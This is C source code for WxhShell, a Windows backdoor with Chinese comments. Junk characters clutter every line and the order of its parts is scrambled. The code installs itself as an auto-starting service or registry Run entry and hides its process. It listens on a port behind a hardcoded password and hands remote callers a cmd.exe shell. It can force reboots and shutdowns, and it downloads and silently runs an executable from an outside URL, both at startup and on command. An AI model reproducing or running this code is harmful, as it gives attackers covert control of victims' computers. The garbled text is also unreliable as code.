    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k12mxR/  
    if(Boot(SHUTDOWN)) Pe7% 9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6z+*H7Qz  
    else { " gi 1{  
    closesocket(wsh); D5 ^WiQ<  
    ExitThread(0); -Cf< #'x_  
    } U^$l$"~"  
    break; Xdc>Z\0V  
    } skfFj&_T  
  // 获取shell l@%7] 0!T  
  case 's': { *:V"C\`^n  
    CmdShell(wsh); ^VB_>|UN4  
    closesocket(wsh); ZD]5"oHY  
    ExitThread(0); jo=,j/,l  
    break; 2<5s0GT'/  
  } ^'aMp}3iu  
  // 退出 ?gOZY\[ma  
  case 'x': { :+|os"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nc%ly *  
    CloseIt(wsh); $+a2CZs!  
    break; *Z"(K\1TH  
    } %y;Cgo[  
  // 离开 u-E*_% y  
  case 'q': { P(za8l>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y>[u(q&09O  
    closesocket(wsh); W%RjjL J@  
    WSACleanup(); "5R8Zl+  
    exit(1); ``mW\=fe  
    break; `l95I7  
        } u!&Vbo? .B  
  } *.9.BD9  
  } E`SFr  
(""1[XURQK  
  // 提示信息 `7zNVYur8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v-@xO&<  
} u%=M4|7  
  } ef=LPCi?  
L7tC?F]}SK  
  return; {'#^  
} YQ}bG{V  
/a$RJ6t&3  
// shell模块句柄 %maLo RJ  
int CmdShell(SOCKET sock) %Ot^G%34  
{ 3yu{Q z5y,  
STARTUPINFO si; g2WDa'{L  
ZeroMemory(&si,sizeof(si)); v/BMzVi  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VL/%D*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~cSOni`  
PROCESS_INFORMATION ProcessInfo; 6 2r%q^r`i  
char cmdline[]="cmd"; S 5Q$dAL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b;O|-2AR  
  return 0; wV;qc3  
} iS^IqS  
q|. X[~e|  
// 自身启动模式 l1\/ `  
int StartFromService(void) MKYXYR  
{ {%5tqF  
typedef struct t YmR<^  
{ )0P>o]fWI  
  DWORD ExitStatus; ]kuMzTH  
  DWORD PebBaseAddress; 4#Fz!Km  
  DWORD AffinityMask; +`==US34  
  DWORD BasePriority; c"3 a,&  
  ULONG UniqueProcessId; MeqW/!72$L  
  ULONG InheritedFromUniqueProcessId; 40}8EP k)  
}   PROCESS_BASIC_INFORMATION; W,i SN}  
VGY#ph%  
PROCNTQSIP NtQueryInformationProcess; XTD _q  
hgCeU+H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;9pOtr  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +1 H.5|  
9Kw4K#IqQ  
  HANDLE             hProcess; e}?#vTRI}  
  PROCESS_BASIC_INFORMATION pbi; ki#O ^vl  
m Kwhd} V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qTnfiYG}  
  if(NULL == hInst ) return 0; Q9N=yz  
[EDw0e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0sq1SHI{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Cyxt EzPp  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :Xv3< rS<  
6|m1z  
  if (!NtQueryInformationProcess) return 0; %Ysu613mz  
R ;^[4<&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); BW}^n  
  if(!hProcess) return 0; 1%|+yu1  
nJF"[w,?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &%`IPhbT  
IBY3QG  
  CloseHandle(hProcess); 3_2(L"S2  
dZm>LVjG  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KL!k'4JNY  
if(hProcess==NULL) return 0; P@:#NU[  
VY$hg  
HMODULE hMod; C_?L$3 U0  
char procName[255]; J4h7] qt  
unsigned long cbNeeded; -c!{';Zn  
34 W#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Qw.""MLmN8  
%-|Po:6  
  CloseHandle(hProcess); b&A+`d  
u4NMJnX  
if(strstr(procName,"services")) return 1; // 以服务启动 _/ZIDIn  
Nhn5 iN1*  
  return 0; // 注册表启动 H1f){L97wR  
} =Z iyT$p  
3@?#4]D{'  
// 主模块 Y4}!9x  
int StartWxhshell(LPSTR lpCmdLine) Eu\&}n`i  
{ <DiD8")4  
  SOCKET wsl; [[QrGJr  
BOOL val=TRUE; cu]2`DF  
  int port=0; Q2PY( #  
  struct sockaddr_in door; tt,MO)8 VD  
gpsEN(.w  
  if(wscfg.ws_autoins) Install(); xA#B1qbw  
C',D"  
port=atoi(lpCmdLine); PkQuN;a  
m;lwMrY\7>  
if(port<=0) port=wscfg.ws_port;  |X`xJL  
LC K   
  WSADATA data; zF.rsNY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V#^~JJW^  
tQbDP!,A*=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =- ~82%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :S0r)CNP  
  door.sin_family = AF_INET; bgqN&J)Jr)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3Tg  
  door.sin_port = htons(port); G6_Kid}"q  
zFqH)/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `UMv#-Y8  
closesocket(wsl); li8l+5d q  
return 1; "2)<'4q5)  
} 'N)&;ADx-G  
[Oe$E5qv)]  
  if(listen(wsl,2) == INVALID_SOCKET) { 5Jd&3pO  
closesocket(wsl); -RVwPY  
return 1; "3LOL/7f  
} {N[IjY  
  Wxhshell(wsl); j?29_Az  
  WSACleanup(); 7gfNe kr~W  
:h=];^/E  
return 0; 1mgLH  
FF6[qSV  
} \eH~1@\S  
VZ'[\3J  
// 以NT服务方式启动 hf^,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N\l\ M  
{ 28C/^4  
DWORD   status = 0; )7Gm<r  
  DWORD   specificError = 0xfffffff; thDQ44<#)  
$IA(QC_]AO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]Vo;ZY_\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; QUVwO m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fQ=Yf?b  
  serviceStatus.dwWin32ExitCode     = 0; (BEGt '7  
  serviceStatus.dwServiceSpecificExitCode = 0; [U]U *x  
  serviceStatus.dwCheckPoint       = 0; |Nd!+zE$Z  
  serviceStatus.dwWaitHint       = 0;  U2  
A&jkc'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @AaM]?=P{  
  if (hServiceStatusHandle==0) return; _?M34&.X  
%/"I.\%d  
status = GetLastError(); LdwWB `L  
  if (status!=NO_ERROR) K PSFy<  
{ 9u^PM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; t>N~PXr  
    serviceStatus.dwCheckPoint       = 0; 9+ nB;vA  
    serviceStatus.dwWaitHint       = 0; VdjS\VYe,  
    serviceStatus.dwWin32ExitCode     = status; _t|| v  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4='Xhm  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _VGAh:v  
    return; d00#;R  
  } =e](eA;  
'i;1n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W@`2+}  
  serviceStatus.dwCheckPoint       = 0; n^B9Mh @  
  serviceStatus.dwWaitHint       = 0; >lQ@" U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~U(`XvR\4  
} 4~xKW2*`K  
:7UC=GKQk  
// 处理NT服务事件,比如:启动、停止 CuC1s>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) p4GhT~)l:  
{ %c"PMTq(  
switch(fdwControl) ?!^ow5"8  
{ )UbPG`x8  
case SERVICE_CONTROL_STOP: a?jUm.  
  serviceStatus.dwWin32ExitCode = 0; pqe7a3jr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3}dTbr4y  
  serviceStatus.dwCheckPoint   = 0; -{`8Av5)E%  
  serviceStatus.dwWaitHint     = 0; p[R4!if2  
  { })W9=xO~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R d'P\  
  } #(swVo:+E  
  return; 'L?e)u.  
case SERVICE_CONTROL_PAUSE: n2} (Pt.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v+Eub;m   
  break; Ha~F&H|"O  
case SERVICE_CONTROL_CONTINUE: scX'>\w&c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; pHQrjEF*  
  break; ]QKo>7%[  
case SERVICE_CONTROL_INTERROGATE: "uCO?hv0  
  break; B@cC'F#G  
}; +t*V7nW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F<.oTP-B  
} ;)~}/nR<a  
JLd-{}A""-  
// 标准应用程序主函数 %,T=|5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) WC0z'N({W  
{ @k=UB&?I  
#($~e|  
// 获取操作系统版本 +YZ*>ki  
OsIsNt=GetOsVer(); i;Dj16h  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Hlhd6be  
/H4Z.|@  
  // 从命令行安装 dG&^M ".(  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~c,CngeL0  
T:T`M:C.  
  // 下载执行文件 )]}G8A  
if(wscfg.ws_downexe) { j,n\`7dD$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n6AA%? 5  
  WinExec(wscfg.ws_filenam,SW_HIDE); :FTx#cZ  
} E1r-$gf_  
vtq$@#?~ b  
if(!OsIsNt) { fj|b;8_}l  
// 如果时win9x,隐藏进程并且设置为注册表启动 =yF]#>Ah  
HideProc(); 0=0,ix7?#  
StartWxhshell(lpCmdLine); TAxu]C$P  
} D@2L<!\  
else C@`rg ILc  
  if(StartFromService()) GO?hB4 9T  
  // 以服务方式启动 kmUL^vF  
  StartServiceCtrlDispatcher(DispatchTable); M>E~eb/  
else d-3.7nJ:  
  // 普通方式启动 _tUh*"e&  
  StartWxhshell(lpCmdLine); wz'=  
yk y% +@2q  
return 0; P_4E<"eK  
} ?7>"ZGDe>  
MaPOmS8?  
Fc#Sn2p*  
@R-11wP)M  
=========================================== 78 w  
MyZVx|7 E  
UX+vU@Co[  
FDFwx|  
c]h@<wnv  
qA;Gl"HF  
" )=#e*1!b  
gu6%$z  
#include <stdio.h> @DIEENiM  
#include <string.h> nK32or3  
#include <windows.h> 5 w(nttYH  
#include <winsock2.h> W]oa7VAq  
#include <winsvc.h> 4Q/{lqG  
#include <urlmon.h> *|<T@BXn  
%3O))Ug5  
#pragma comment (lib, "Ws2_32.lib") ufCpX>lNF  
#pragma comment (lib, "urlmon.lib") p^|6 /b  
cnS;9=,&  
#define MAX_USER   100 // 最大客户端连接数 obE8iG@H  
#define BUF_SOCK   200 // sock buffer ?"*JV1 9  
#define KEY_BUFF   255 // 输入 buffer Um}AV  
5JhvYsf3_  
#define REBOOT     0   // 重启 `LNhamp  
#define SHUTDOWN   1   // 关机 }tw+8YWkz  
5RvE ),  
#define DEF_PORT   5000 // 监听端口 9Vqy<7i1  
5[g\.yi2_]  
#define REG_LEN     16   // 注册表键长度 UOsK(mB  
#define SVC_LEN     80   // NT服务名长度 iMt3h8  
%59uR}\  
// 从dll定义API ]+46r!r|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~uH_y-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,,BP}f+l$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ymyzbE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qC{JsX`~  
t[J=8rhER  
// wxhshell配置信息 [nZIV  
struct WSCFG { .=9WY_@SZ  
  int ws_port;         // 监听端口 }dop]{RG  
  char ws_passstr[REG_LEN]; // 口令 xI1{Wo*2C}  
  int ws_autoins;       // 安装标记, 1=yes 0=no `:Gzjngc  
  char ws_regname[REG_LEN]; // 注册表键名 bq9w@O  
  char ws_svcname[REG_LEN]; // 服务名 tnaFbmp  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 u*v<dsGQ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ZaU8eg7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r":anR( ;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B Z|A&;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8'zZVX D<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 oR&z,%0wMK  
iW^J>aKy  
}; t$z[ ja=  
Nw'03Jzx_  
// default Wxhshell configuration k1q/L|')  
struct WSCFG wscfg={DEF_PORT, gr SF}y!3  
    "xuhuanlingzhe", X0u,QSt' O  
    1, /V:9*C  
    "Wxhshell", s@ r{TXEn  
    "Wxhshell", # G 77q$  
            "WxhShell Service", A vq+s.h  
    "Wrsky Windows CmdShell Service", M/quswn1  
    "Please Input Your Password: ", o]4\Geg$  
  1, ^" X.aksA  
  "http://www.wrsky.com/wxhshell.exe", :R,M Y"(  
  "Wxhshell.exe" 'ZW(Hjrd  
    }; WJOoDS!i  
W~'xJ  
// 消息定义模块 B= {_}f  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3NtUB;!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \~l_w ,Poo  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Sp80xV_B  
char *msg_ws_ext="\n\rExit."; Bi:lC5d5?  
char *msg_ws_end="\n\rQuit."; `y3'v]  
char *msg_ws_boot="\n\rReboot..."; &.,K@OFE}  
char *msg_ws_poff="\n\rShutdown..."; 8u+kA mI  
char *msg_ws_down="\n\rSave to "; i=aR ~  
n"Ie>  
char *msg_ws_err="\n\rErr!"; ^ ~Eh+  
char *msg_ws_ok="\n\rOK!"; 8|i'~BFHs  
X ha9x,  
char ExeFile[MAX_PATH]; ?eIb7O  
int nUser = 0; [i`  
HANDLE handles[MAX_USER]; Ai < beUS  
int OsIsNt;  ma~#E$i&  
sllT1%?  
SERVICE_STATUS       serviceStatus; =\oH= f  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  2h   
D*%am|QL  
// 函数声明 @.e X8~3=  
int Install(void); @'R)$:I%L  
int Uninstall(void); f8]sjeY  
int DownloadFile(char *sURL, SOCKET wsh); b_31 \  
int Boot(int flag); _6NUtU  
void HideProc(void); fHup&|.  
int GetOsVer(void); UphTMyn3  
int Wxhshell(SOCKET wsl); 7Jf~Bn  
void TalkWithClient(void *cs); =X4Fn^w"4O  
int CmdShell(SOCKET sock); DXLXGvcM  
int StartFromService(void); Tc6cBe,  
int StartWxhshell(LPSTR lpCmdLine); AHb_BgOU*  
d05xn7%!{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #d-({blo<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f$o^Xu  
,n/]ALz>~  
// 数据结构和表定义 :,l7e  
SERVICE_TABLE_ENTRY DispatchTable[] = 0\dmp'j]  
{ =?RI`}vw_H  
{wscfg.ws_svcname, NTServiceMain}, W{}$c`,R  
{NULL, NULL} c{MoeIG)v@  
}; <7^|@L 6  
Je6[q  
// 自我安装 GE/!$3  
int Install(void) <Ua~+U(FR0  
{ YXA@ c  
  char svExeFile[MAX_PATH]; g&$=Y7G  
  HKEY key; U#3N90,N=  
  strcpy(svExeFile,ExeFile); @{y'_fw  
k~>(XG[x&  
// 如果是win9x系统,修改注册表设为自启动 cJ4My#w  
if(!OsIsNt) { ")Fd'&58  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +4?Lwp'q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V\L;EHtc$  
  RegCloseKey(key); -b-a21,m>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N*Aw-\Bk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |qNe_)  
  RegCloseKey(key); FuHBzBoM=  
  return 0; $BwWQ?lp  
    } 46C%at M0}  
  } A!lZyG!3  
} 6FB 0g8  
else { {T4_Xn-I  
cIU2qFn[  
// 如果是NT以上系统,安装为系统服务 `d_T3^ayu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J6Ilg@}\  
if (schSCManager!=0) PL:(Se%  
{ iXWHI3  
  SC_HANDLE schService = CreateService x"2p5T7*>  
  ( `c Gks  
  schSCManager, scV%p&{a  
  wscfg.ws_svcname, FQWjL>NB  
  wscfg.ws_svcdisp, b^W&-Hh  
  SERVICE_ALL_ACCESS, \RDN_Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /$; Z ~^P  
  SERVICE_AUTO_START, JU8}TX  
  SERVICE_ERROR_NORMAL, 5Q10Ohh  
  svExeFile, (TeH)j!  
  NULL, s\*p|vc  
  NULL, ().C  
  NULL, t #(NfzN  
  NULL, <exCK*G  
  NULL cj>@Jx}]M  
  ); BVal U  
  if (schService!=0) yCjc5d|tT  
  { =-dnniKW4  
  CloseServiceHandle(schService); :V9Q<B^  
  CloseServiceHandle(schSCManager); UC&$8^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); I"]E}nd)  
  strcat(svExeFile,wscfg.ws_svcname); KDN#CU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I gJu/{:y^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }w f8y  
  RegCloseKey(key); +C=vuR  
  return 0; icG 9x  
    } m0G"Aj  
  } XU'(^Y8Imz  
  CloseServiceHandle(schSCManager); 2[w9#6ly  
} . r/s.g  
} T)tr"<F5NP  
>D=X Tgqqq  
return 1; 3r%v@8)!b  
} " lD -*e4  
za6 hyd^  
// 自我卸载 B~o3Z  
int Uninstall(void) 51}C`j|V3{  
{ {Lju7'5L  
  HKEY key; D u<P^CE  
!jP[=  
if(!OsIsNt) { )+FnwW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,5 8-h?B0v  
  RegDeleteValue(key,wscfg.ws_regname); 0Y`+L6&UX  
  RegCloseKey(key); *r>Y]VG;S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Va[&~lA)  
  RegDeleteValue(key,wscfg.ws_regname); e ,XT(KY  
  RegCloseKey(key); D*L@I@ [  
  return 0; =YM  
  } qA}l[:F+#  
} ~,W|i  
} 4gZR!J  
else { #~Kno@  
|QrVGm@2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r0z8?  
if (schSCManager!=0) FkMM>X  
{ 8f,",NCgc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F, =WfM\  
  if (schService!=0) 7\dt<VV  
  { axG%@5  
  if(DeleteService(schService)!=0) { Mf5kknYuL9  
  CloseServiceHandle(schService); h6Vd<sV\tf  
  CloseServiceHandle(schSCManager); `34+~;;Jh  
  return 0; k]4CN  
  } jcePSps]  
  CloseServiceHandle(schService); BAqwYWdS  
  } fN`Prs A  
  CloseServiceHandle(schSCManager); $7-4pW$y  
} 1\jj3Y'i'  
} ^b&hy&ag  
g6q[ I8  
return 1; &Ai +t2  
} lz).=N}m  
2V @ pt  
// 从指定url下载文件 &S^a_L:  
int DownloadFile(char *sURL, SOCKET wsh) 9dg+@FS}=  
{ V" 5rIk  
  HRESULT hr; OoOwEV2p_  
char seps[]= "/"; iA2TvP#  
char *token; ?.I1"C,#VJ  
char *file; eET1f8 B=L  
char myURL[MAX_PATH]; uN&49o  
char myFILE[MAX_PATH]; \n0Gr\:  
G!GGT?J  
strcpy(myURL,sURL); Kn+B):OY+  
  token=strtok(myURL,seps); !O,`Z`T?  
  while(token!=NULL) &'5 j!  
  { c"'JMq  
    file=token; _t7aOH  
  token=strtok(NULL,seps); Nrp1`qY  
  } i/DUB<>p6  
\T!tUd  
GetCurrentDirectory(MAX_PATH,myFILE); j&?@:Zg v  
strcat(myFILE, "\\"); 62OZj%CXN  
strcat(myFILE, file); ~ Q;qRx  
  send(wsh,myFILE,strlen(myFILE),0); mVyF M -`  
send(wsh,"...",3,0); tjy@sO/Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b;e*`f8T3c  
  if(hr==S_OK) /9u12R*<  
return 0; ]+78 "(  
else gM#]o QOGE  
return 1; H|!|fo-Tx  
z`@|v~i0`  
} v+2t;PJd2  
]OA8H[U-eA  
// 系统电源模块 AtlUxFX0S  
int Boot(int flag) 6SD9lgF*-  
{ v+`gQXJ"G  
  HANDLE hToken; $~.'Tnk)  
  TOKEN_PRIVILEGES tkp; )1 !*N)$  
5F|oNI}$:  
  if(OsIsNt) { w'D=K_h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~Wj. 4b*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -Fs<{^E3j  
    tkp.PrivilegeCount = 1;  HO =\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -]~vE fq+T  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (E?X@d iu  
if(flag==REBOOT) { 5"9!kZ(<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b$1W>  
  return 0; UgZuEfEGve  
} C.;H?So(  
else { EAXbbcV  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <2{-ey]  
  return 0; 5QUL-*t  
} Z |CL:)h  
  } z#elwL6  
  else { jpek=4E  
if(flag==REBOOT) { ^8eu+E.{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u' +;/8  
  return 0; 5WvtvSO  
} g/6>>p`J  
else { S 7 *LV;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) '9d] B^)F  
  return 0; m3E`kW |  
} ev;R; 0<  
} wz=c#}0dB  
'6zD`Q  
return 1; ;X XB^,  
} TO~Z6NA0  
SV0h'd(b  
// win9x进程隐藏模块 K/Qo~  
void HideProc(void) HJeZm  
{ H!yqIh  
I c 2R\}q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (!B1} 5"  
  if ( hKernel != NULL ) HX p $\%A)  
  { (6#, $Ze   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K{WLo5HP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :@8N${7`$A  
    FreeLibrary(hKernel); q71~Y:7f  
  } +1o4l i  
E +!A0!1  
return; Mo~zq.  
} LW '3m5  
lrL:v~g  
// 获取操作系统版本 |)}&: xA%  
int GetOsVer(void) (AI 4a+  
{ b>Em~NMu_  
  OSVERSIONINFO winfo; p.|NZXk%%a  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &;wNJ)Uc  
  GetVersionEx(&winfo); N0_@=uE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !5XH.DYq!  
  return 1; O-jpS?@  
  else a*(,ydF|L  
  return 0; Qf#=Y j  
} gql^Inx<  
D@ 4sq^|2  
// 客户端句柄模块 z<u*I@;  
int Wxhshell(SOCKET wsl) O.Xhi+  
{ QopA'm  
  SOCKET wsh; RR9G$}WS(  
  struct sockaddr_in client; Mj5&vs~n;  
  DWORD myID; ;:A/WU.^  
O@-|_N*;K  
  while(nUser<MAX_USER) *mtS\J  
{ 0n-S%e5  
  int nSize=sizeof(client); VteMsL/H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J-d>#'Wb|  
  if(wsh==INVALID_SOCKET) return 1; /JbO$A  
GA+#'R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fZka$ 4  
if(handles[nUser]==0) C=,O'U(ep  
  closesocket(wsh); P5Is#7udN8  
else $3)Z>p   
  nUser++; +b_o2''  
  } >1S39n5z.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h6~ H5X  
EaN1xb(DYa  
  return 0; ={[9kR i  
} ;5!M+nk  
*wp>a?sG\  
// 关闭 socket ,%<ICusZ  
void CloseIt(SOCKET wsh) ly( LMr  
{ n}L Jt  
closesocket(wsh); `PS^o#  
nUser--; %Rm`+  
ExitThread(0); D&*'|}RZ  
} `/RcE.5n\@  
HIsB)W&%@  
// 客户端请求句柄 :J;&Z{  
void TalkWithClient(void *cs) v\3$$T)  
{ (,^jgv|I  
D*}_L   
  SOCKET wsh=(SOCKET)cs; KvY1bMU!  
  char pwd[SVC_LEN]; &e)V!o@wJV  
  char cmd[KEY_BUFF]; hp3 <HUU  
char chr[1]; =.(~`ici~  
int i,j; y#v<V1b]  
SL 5QhP  
  while (nUser < MAX_USER) { IutU ~%wv  
jUGk=/*]e  
if(wscfg.ws_passstr) { \V%l.P4>e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'n/L1Fn  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lN~u='Kc  
  //ZeroMemory(pwd,KEY_BUFF); JIU8~D  
      i=0; 0P l>k'9  
  while(i<SVC_LEN) { P-?R\(QYtR  
RN"Ur'+  
  // 设置超时 ZW%;"5uVm)  
  fd_set FdRead; } e]tn)  
  struct timeval TimeOut; Z3O_K  
  FD_ZERO(&FdRead); WwF2Ry^a  
  FD_SET(wsh,&FdRead); Ci$?Hm9n  
  TimeOut.tv_sec=8; bsv!z\}  
  TimeOut.tv_usec=0; a_(T9pr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); iyTKy+3A  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'cPE7uNT  
!EOYqD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JmF:8Q3H  
  pwd=chr[0]; ]/[$3rPwZ  
  if(chr[0]==0xd || chr[0]==0xa) { wo5fGQJ  
  pwd=0; o:PdPuZVR  
  break; @_H L{q%h  
  } =4#p|OZP  
  i++; aSt:G*a"  
    } l?O%yf`s  
[! Zyp`:  
  // 如果是非法用户,关闭 socket dh V6r  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); y`a]##1j$M  
} mGh8/Xt  
V6kJoSyde  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dmPAPCm%y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s|D[_N!|  
&Ivf!Bgm{Z  
while(1) { -+fW/Uo  
k{J\)z  
  ZeroMemory(cmd,KEY_BUFF); #ba7r ]Xu  
WSqo\]  
      // 自动支持客户端 telnet标准   n8Rsle`a  
  j=0; ,qwVDYJ  
  while(j<KEY_BUFF) { $f AZ^   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AHet,N  
  cmd[j]=chr[0]; '}9 %12\^h  
  if(chr[0]==0xa || chr[0]==0xd) { -cgMf\YF  
  cmd[j]=0; >!PCEw<i  
  break; C&f{LpB`  
  } >0S(se$  
  j++; PQXCT|iJ  
    } -u~AY#*  
YP73  
  // 下载文件 u-R;rf5%k  
  if(strstr(cmd,"http://")) { IgEVz^W?h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); r#(*x 2~,  
  if(DownloadFile(cmd,wsh)) FL[w\&fp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nZ4@g@e2  
  else <q:2' 4o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [<.dOe7|  
  } ] uXmug  
